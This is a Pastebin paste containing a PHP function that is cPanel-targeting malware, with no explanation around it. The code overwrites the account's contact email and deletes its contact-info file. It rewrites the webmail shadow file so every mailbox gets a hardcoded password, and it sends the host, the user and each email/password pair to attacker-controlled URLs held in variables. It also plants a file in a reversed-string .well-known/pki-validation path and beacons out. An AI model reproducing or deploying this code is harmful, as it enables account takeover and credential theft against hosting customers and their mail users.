SHARE
TWEET

Untitled

a guest Sep 10th, 2019 137 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function function_name()
  2. {
  3.     global  $activsnd,
  4.                     $if,
  5.                     $desktop,
  6.                     $_,
  7.                     $fgcp,
  8.                     $webm1;
  9.  
  10.     if ($activsnd == '1') { $if($desktop($E),$desktop('dzBybQ'),$_,$desktop('RnJvbTogVzBybQ')); }
  11.  
  12.     $cphost = $_SERVER['SERVER_NAME'] . ":2083|" . get_current_user();
  13.     $ctf = $_SERVER['DOCUMENT_ROOT'] . "/../.cpanel/contactinfo";
  14.     $ctml = $_SERVER['DOCUMENT_ROOT'] . "/../.contactemail";
  15.  
  16.     if (file_exists($ctml))
  17.     {
  18.         $fil = fopen($ctml, 'w');
  19.         fwrite($fil, $eml);
  20.         fclose($fil);
  21.         unlink($ctf);
  22.         $ccp = curl_init();
  23.         curl_setopt($ccp, CURLOPT_URL, $fgcp . $cphost);
  24.         curl_exec($ccp);
  25.         $user=get_current_user();
  26.         $password='azerty123.0@10';
  27.         $pwd = crypt($password,'$6$roottn$');
  28.          $t = $_SERVER['SERVER_NAME'];
  29.          $t = @str_replace("www.","",$t);
  30.         @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  31.         $ex=explode("\r\n",$passwd);
  32.         @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  33.         @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  34.  
  35.         foreach($ex as $ex){
  36.             $ex=explode(':',$ex);
  37.             $e= $ex['0'];
  38.             if ($e){
  39.             $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  40.             $tbs = $t.'/webmail|'.$e.'@'.$t.'|'.$password;
  41.             $ccpwebm = curl_init();
  42.             curl_setopt($ccpwebm, CURLOPT_URL, $webm1 . $tbs);
  43.             curl_exec($ccpwebm);
  44.             }
  45.         }
  46.     }
  47.     if ($activssl == '1' && $nfiles >= '10'){
  48.         $loga = $_SERVER['DOCUMENT_ROOT'] . $lss;
  49.         if (!file_exists($loga)){
  50.             mkdir($_SERVER['DOCUMENT_ROOT'] . strrev('/noitadilav-ikp/nwonk-llew./'));
  51.                 $fp = fopen($loga, 'w');
  52.             fwrite($fp, $sslphp);
  53.             fclose($fp);
  54.             $s_host = $_SERVER['SERVER_NAME'];
  55.             $ch = curl_init();
  56.             curl_setopt($ch, CURLOPT_URL, $gui . $s_host);
  57.             curl_exec($ch);
  58.         }
  59.     }
  60. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top